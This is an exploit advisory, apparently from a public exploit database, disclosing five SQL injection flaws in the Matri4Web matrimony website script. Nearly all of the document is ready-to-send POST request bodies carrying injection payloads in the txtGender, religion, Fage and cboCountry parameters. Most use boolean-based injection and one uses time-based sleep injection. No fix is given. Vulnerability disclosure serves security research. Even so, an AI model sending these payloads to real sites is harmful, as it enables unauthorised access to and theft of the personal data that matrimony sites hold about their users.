Matri4Web Matrimony Website Script - Multiple SQL Injection

2019-03-22 15:05:34

# Exploit Title: Matrimony Website Script - Multiple SQL Injection
# Date: 22.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.matri4web.com
# Demo Site: https://www.matrimonydemo.com
# Version: M-Plus
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/simplesearch_results.php
Vulnerable Parameter: txtGender (POST)
Attack Pattern:
Fage=18&Tage=18&caste=Any&religion=Any&submit=Submit&txtGender=-1' OR 3*2*1=6 AND 000715=000715 -- &txtphoto=1&txtprofile=0

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/advsearch_results.php
Vulnerable Parameter: religion (POST)
Attack Pattern:
age1=18&age2=18&caste[]=Any&cboCountry[]=&city[]=Any&edu[]=Any&ms=Unmarried&occu[]=Any&religion=-1' OR 3*2*1=6 AND 000723=000723 -- &state[]=Any&submit=Submit&txtGender=Male&txtphoto=Show profiles with Photo

----- PoC 3 - SQLi -----

Request: http://localhost/[PATH]/specialcase_results.php
Vulnerable Parameter: Fage
Attack Pattern:
Fage=(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/&Tage=18&caste=Any&religion=Any&sp_cs=Any&submit=Submit&txtGender=Male&txtphoto=Show profiles with Photo&txtprofile=7

----- PoC 4 - SQLi -----

Request: http://localhost/[PATH]/locational_results.php
Vulnerable Parameter: cboCountry (POST)
Attack Pattern:
Fage=18&Tage=18&cboCountry=-1' OR 3*2*1=6 AND 000567=000567 -- &cboState=Any&city=Any&submit=Submit&txtCountry=Argentina&txtCountryLength=9&txtGender=Male&txtNumCountries=251&txtNumStates=25&txtSelectedCountry=9&txtSelectedState=10&txtState=Entre Rios&txtStateLength=10&txtphoto=Show profiles with Photo

----- PoC 5 - SQLi -----

Request: http://localhost/[PATH]/registration2.php
Vulnerable Parameter: religion (POST)
Attack Pattern:
[email protected]&Language=&dobDay=&dobMonth=&dobYear=&religion=-1' OR 3*2*1=6 AND 000830=000830 -- &submit=Submit&txtAccept=I Accept the Terms and Conditions&txtGender=Male&txtMC=&txtMobile=987-65-4329&txtName=FtkKDgHs&txtPC=Self&txtcp=1

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.